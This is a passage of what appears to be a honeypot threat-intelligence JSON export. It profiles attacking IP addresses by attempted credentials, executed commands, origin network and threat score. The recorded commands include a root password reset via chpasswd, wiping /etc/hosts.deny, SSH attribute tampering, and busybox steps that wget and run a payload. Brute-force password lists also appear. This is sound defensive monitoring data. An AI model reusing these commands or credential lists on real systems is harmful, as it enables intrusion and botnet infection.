        "lihui",
        "liu",
        "minecraft",
        "pt",
        "rtc",
        "sammy",
        "socks",
        "temp",
        "test",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "!@#$%^&*",
        "123",
        "1234",
        "123@",
        "3245gs5662d34",
        "345gs5662d34",
        "Ali12345",
        "Master2026",
        "Pass123$",
        "Pass1234",
        "Sammy09!",
        "Steam!2025",
        "Work@123",
        "bitcoin123",
        "google",
        "letmein",
        "nopassword",
        "pass.senpai",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:LNwwvseePIr8\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T22:53:01.827000+00:00",
        "last_seen_30d": "2026-04-22T23:55:38.138000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 62
      }
    },
    "152.32.171.213": {
      "attack_count": 118,
      "first_seen": "2026-04-26T17:02:15.859Z",
      "last_seen": "2026-04-26T17:22:50.333Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!Qaz123",
        "0606060",
        "1414141",
        "1QWERT6",
        "1qazxsw",
        "3245gs5662d34",
        "345gs5662d34",
        "Hh123",
        "P@$$w0rd1",
        "P@ssw0rd!@",
        "q!@",
        "thanh123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:m6DgnbpuWzDz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:02:15.859000+00:00",
        "last_seen_30d": "2026-04-26T17:23:57.352000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "36.112.133.74": {
      "attack_count": 103,
      "first_seen": "2026-04-02T22:36:06.592Z",
      "last_seen": "2026-04-02T23:45:48.791Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "0706",
        "123456wW",
        "123@",
        "2586",
        "456lf",
        "Aaa",
        "Gh123456",
        "P4ssword2026",
        "aaron123",
        "abc@123.",
        "f00tb4ll",
        "good",
        "manuel",
        "mnbvcxz123",
        "q1w2e3r4T5",
        "qaz1234567",
        "qweasdzxc",
        "sat"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.log.closed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 23724,
      "as_org": "IDC, China Telecommunications Corporation",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:36:06.592000+00:00",
        "last_seen_30d": "2026-04-02T23:55:13.255000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 47
      }
    },
    "197.248.34.233": {
      "attack_count": 83,
      "first_seen": "2026-04-21T17:00:58.940Z",
      "last_seen": "2026-04-21T17:30:06.389Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "steam",
        "ubuntu",
        "ftpuser",
        "postgres",
        "proxyuser",
        "sk",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "123qwe!@#QWE",
        "3245gs5662d34",
        "Admin1",
        "As123123",
        "Ftpuser13",
        "Linux2026",
        "Postgres02",
        "Steam11",
        "Test25!",
        "User7",
        "abc.1234",
        "proxyuser",
        "qwer1234!",
        "steam16!",
        "test"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T17:00:58.940000+00:00",
        "last_seen_30d": "2026-04-21T17:31:16.461000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 35
      }
    },
    "213.165.245.64": {
      "attack_count": 80,
      "first_seen": "2026-04-30T14:51:31.782Z",
      "last_seen": "2026-04-30T14:55:06.182Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22611,
      "as_org": "InMotion Hosting, Inc.",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:51:31.782000+00:00",
        "last_seen_30d": "2026-04-30T14:56:11.952000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 41
      }
    },
    "34.80.153.84": {
      "attack_count": 73,
      "first_seen": "2026-04-05T10:55:15.568Z",
      "last_seen": "2026-04-05T10:55:47.210Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "pi",
        "support",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "123",
        "12345",
        "admin",
        "raspberry",
        "root",
        "support",
        "test",
        "ubuntu",
        "user"
      ],
      "commands_executed": [
        "id"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T10:55:15.568000+00:00",
        "last_seen_30d": "2026-04-05T10:56:51.897000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 29
      }
    },
    "180.76.236.214": {
      "attack_count": 58,
      "first_seen": "2026-04-05T19:30:07.672Z",
      "last_seen": "2026-04-05T20:35:25.297Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "deployuser",
        "frappe",
        "jin",
        "steam",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345678900",
        "12345zxcv",
        "1a2b3c!@#",
        "A12345678$",
        "Aa123456!",
        "Admin!2026",
        "Frappe01!",
        "jin",
        "password",
        "steam03"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T19:30:07.672000+00:00",
        "last_seen_30d": "2026-04-05T20:45:30.270000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 58,
        "Suricata": 40
      }
    },
    "74.91.136.80": {
      "attack_count": 56,
      "first_seen": "2026-04-30T13:54:24.516Z",
      "last_seen": "2026-04-30T13:59:20.091Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:54:24.516000+00:00",
        "last_seen_30d": "2026-04-30T14:00:27.498000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 29
      }
    },
    "103.237.157.198": {
      "attack_count": 50,
      "first_seen": "2026-04-13T07:06:23.310Z",
      "last_seen": "2026-04-13T07:11:47.689Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Najafgarh",
      "asn": 132934,
      "as_org": "Skymax Broadband Services Pvt. Ltd.",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T07:06:23.310000+00:00",
        "last_seen_30d": "2026-04-13T07:12:51.963000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.26.82.118": {
      "attack_count": 50,
      "first_seen": "2026-04-01T18:55:37.301Z",
      "last_seen": "2026-04-01T19:01:01.708Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T18:55:37.301000+00:00",
        "last_seen_30d": "2026-04-01T19:02:04.362000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "178.141.171.178": {
      "attack_count": 50,
      "first_seen": "2026-04-19T13:47:22.495Z",
      "last_seen": "2026-04-19T13:52:54.517Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kirov",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T13:47:22.495000+00:00",
        "last_seen_30d": "2026-04-19T14:02:06.053000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.19.182": {
      "attack_count": 50,
      "first_seen": "2026-04-24T03:29:26.497Z",
      "last_seen": "2026-04-24T03:34:50.957Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhelum",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T03:29:26.497000+00:00",
        "last_seen_30d": "2026-04-24T03:35:59.557000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "182.119.189.163": {
      "attack_count": 48,
      "first_seen": "2026-04-10T05:12:04.127Z",
      "last_seen": "2026-04-10T05:17:15.622Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:12:04.127000+00:00",
        "last_seen_30d": "2026-04-10T05:18:23.510000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "125.45.54.191": {
      "attack_count": 46,
      "first_seen": "2026-04-03T16:49:04.599Z",
      "last_seen": "2026-04-03T16:54:02.965Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T16:49:04.599000+00:00",
        "last_seen_30d": "2026-04-03T16:55:09.754000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "120.85.119.54": {
      "attack_count": 39,
      "first_seen": "2026-04-22T21:58:23.804Z",
      "last_seen": "2026-04-22T21:58:37.200Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "vizxv",
        "xc3511"
      ],
      "commands_executed": [
        "config terminal",
        "echo -ne \\x45\\x4c\\x46",
        "linuxshell",
        "shell",
        "start",
        "system",
        "./i",
        "/bin/busybox wget;/bin/busybox echo -ne '\\x45\\x4c\\x46'",
        "cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\\x45\\x4c\\x46'",
        "cp /bin/ls ii ; cat i > ii ; rm i ; cp ii i ; rm ii",
        "enable",
        "sh",
        "su",
        "wget",
        "wget http://192.168.1.1:8088/i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T21:58:23.804000+00:00",
        "last_seen_30d": "2026-04-22T21:59:47.220000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 39,
        "Suricata": 5
      }
    },
    "222.141.105.87": {
      "attack_count": 32,
      "first_seen": "2026-04-23T08:22:01.605Z",
      "last_seen": "2026-04-23T08:25:28.989Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T08:22:01.605000+00:00",
        "last_seen_30d": "2026-04-23T08:26:36.158000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "14.1.105.192": {
      "attack_count": 30,
      "first_seen": "2026-04-29T21:52:12.775Z",
      "last_seen": "2026-04-29T21:55:27.204Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Chunian",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T21:52:12.775000+00:00",
        "last_seen_30d": "2026-04-29T21:56:32.711000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "46.101.160.143": {
      "attack_count": 27,
      "first_seen": "2026-04-22T12:56:46.753Z",
      "last_seen": "2026-04-22T12:56:59.579Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "orangepi",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-22T12:56:46.753000+00:00",
        "last_seen_30d": "2026-04-22T12:58:08.271000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 16,
        "Honeytrap": 2
      }
    },
    "80.66.83.43": {
      "attack_count": 27,
      "first_seen": "2026-04-10T07:43:51.566Z",
      "last_seen": "2026-04-30T19:09:07.819Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 216473,
      "as_org": "Bashinskii Vadim Ruslanovich",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4919,
        "days_active_30d": 30,
        "ports_targeted_30d": 140,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T06:07:06+00:00",
        "last_seen_30d": "2026-04-30T22:40:11.082000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2751,
        "Honeytrap": 2083,
        "ConPot": 28,
        "Cowrie": 27,
        "Adbhoney": 22,
        "Dionaea": 8
      }
    },
    "115.190.138.108": {
      "attack_count": 25,
      "first_seen": "2026-04-14T12:06:49.871Z",
      "last_seen": "2026-04-14T12:07:04.542Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T12:06:49.871000+00:00",
        "last_seen_30d": "2026-04-14T12:08:14.640000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "165.154.164.24": {
      "attack_count": 25,
      "first_seen": "2026-04-15T10:42:33.584Z",
      "last_seen": "2026-04-15T10:45:02.989Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 44.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 9.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 11,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-15T10:27:30.220000+00:00",
        "last_seen_30d": "2026-04-25T14:25:50.028000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Cowrie": 25,
        "Honeytrap": 19
      }
    },
    "213.177.179.19": {
      "attack_count": 23,
      "first_seen": "2026-04-10T12:31:10.715Z",
      "last_seen": "2026-04-15T15:27:31.026Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "kelltech"
      ],
      "passwords_attempted": [
        "kelltech123$",
        "kelltech2019@",
        "kelltech2020!",
        "test2025!"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
